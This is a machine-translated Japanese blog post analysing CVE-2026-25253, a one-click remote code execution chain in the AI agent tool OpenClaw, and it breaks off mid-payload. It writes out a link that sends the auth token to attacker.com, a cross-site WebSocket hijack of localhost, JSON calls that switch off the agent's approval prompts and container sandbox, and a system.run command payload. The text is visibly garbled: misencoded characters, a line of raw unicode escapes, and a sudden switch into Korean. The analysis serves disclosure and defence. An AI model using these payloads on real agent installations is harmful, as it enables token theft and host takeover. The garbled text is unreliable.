OpenClaw 1-Click RCE萅弱性(CVE-2026-25253)深刻分析:リンククリック1回でルート権限奪取まで
\u6700\u8fd1\u516c\u958b\u3055\u308c\u305fOpenClaw(\u65e7Moltbot)\u306e\u81f4\u547d\u7684\u306a\u8405\u5f31\u6027CVE-2026-25253\u3092\u5206\u6790\u3057\u307e\u3059\u3002\u8a3c\u8a3c\u30c8\u30fc\u30af\u30f3\u6f0f\u6d29\u3068WebSocket\u30cf\u30a4\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u3092\u7d50\u3073\u4ed8\u3051\u305f1-Click RCE\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30c1\u30a7\u30fc\u30f3\u3092\u8a73\u7d30\u306b\u89e3\u660e\u3057\u307e\u3059\u3002
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む最近AIエージェントツールである OpenClaw (旧Clawdbot/Moltbot)で致命的な保安上の萅弱性が発見されました。 CVE-2026-25253 と名付けられたこの萅弱性は、被害者が悪意のあるリンクをクリックするのみで(1-Click)攻撃者が遠隔からシステム制御権を奪取できるようにします。
この記事ではDepthFirstとZeroPathチームが公開した分析内容を基に\06b2、この萅弱性がどのように証証トークン漏洩から遠隔コード実行(RCE)まで続くかを技術的原理を詳細に分析してみます。
1. 萅弱性の概要
- CVE-ID: CVE-2026-25253
- 影響を受けるバージョン: v2026.1.24-1 以下
- 危険度: Critical (CVSS 8.8 ~ 9.8 予想)
- 攻撃ベクトル: 悪意のあるWebサイトの訪問またはリンククリック
この攻撃は単一のバグではなく、複数の論理的欠陷が連結された エクスプロイトチェーン(Exploit Chain)です。
2. エクスプロイトチェーン分析
攻撃過程は大きく3段階に分かれます: トークン漏洩 → WebSocketハイジャッキング → サンドボックス無力化及びRCE。
段階 1: 証証トークン漏洩 (Auth Token Leak)
OpenClawはURLクエリパラメータを通じてGateway接続設定を変更できる機能を持っていました。
- 設定変更:
app-settings.tsはgatewayUrlパラメータを検証なしに受け入れローカル設定に保存します。 - 自動接続: 設定が変更されると
app-lifecycle.tsが即時に新しいGatewayに接続を試みます。 - トークン送信: 接続時はハンドシェイク過程で敏感な
authTokenを自動的に送信します。
攻撃者はこれを利用して被害者を次のようなURLへ誘導します:
http://victim-openclaw-dashboard.com?gatewayUrl=ws://attacker.com:8080被害者がこのリンクをクリックすると、OpenClawダッシュボードは攻撃者のサーバ(attacker.com)へ接続を試み 証証トークンを攻撃者に上納 することになります。
段階 2: ローカルホストウイパス (CSWSH)
大多数のOpenClawユーザーはローカル(localhost)環境でエージェントを実行します。攻撃者がトークンを得たとしても、外部インターネットから被害者の localhost に直接接続することはできません。
しかしここで二番目の萅弱性が登場します: WebSocket Origin検証不備。
OpenClawのWebSocketサーバは要求の Origin ヘッダーを検証しません。これは CSWSH (Cross-Site WebSocket Hijacking) 攻撃を可能にします。
- 被害者が攻撃者のWebサイト(
attacker.com)に駐まる間、 - 攻撃者のジャバスクリプトコードが被害者のブラウザーを通じて
ws://localhost:18789にWebSocket接続を試みます。 - 前述で奪取した
authTokenを使用して証証を通過します。
ブラウザーはHTTP要求とは異なりWebSocket接続についてSOP(Same Origin Policy)を厳しく適用しないため、サーバ側の検証不備により接続が成立します。
段階 3: サンドボックス無力化及びRCE
接続に成功した攻撃者はもうOpenClaw APIを呼び出せる権限を得ました。しかしOpenClawは危険な命令実行時にユーザー勝認を要求するかコンテナーサンドボックス内で実行する保護装置があります。
しかし攻撃者は管理者権限トークンを持っているので APIを通じてこの保護装置までも切ってしまうことができます。
- ユーザー勝認ビアクティブワイズ:
{ "method": "exec.approvals.set", "params": { "defaults": { "ask": "off" } } } - 컨테이너 탈출: 실행 호스트를
gateway(호스트 머신)로 변경.
마지막으로, 제약이 사라진 상태에서 임의의 명령어를 실행합니다.
{
"method": "node.invoke",
"params": {
"command": "system.run",
"params": { "cmd": "bash -c 'echo hacked > /tmp/hacked'\
コメント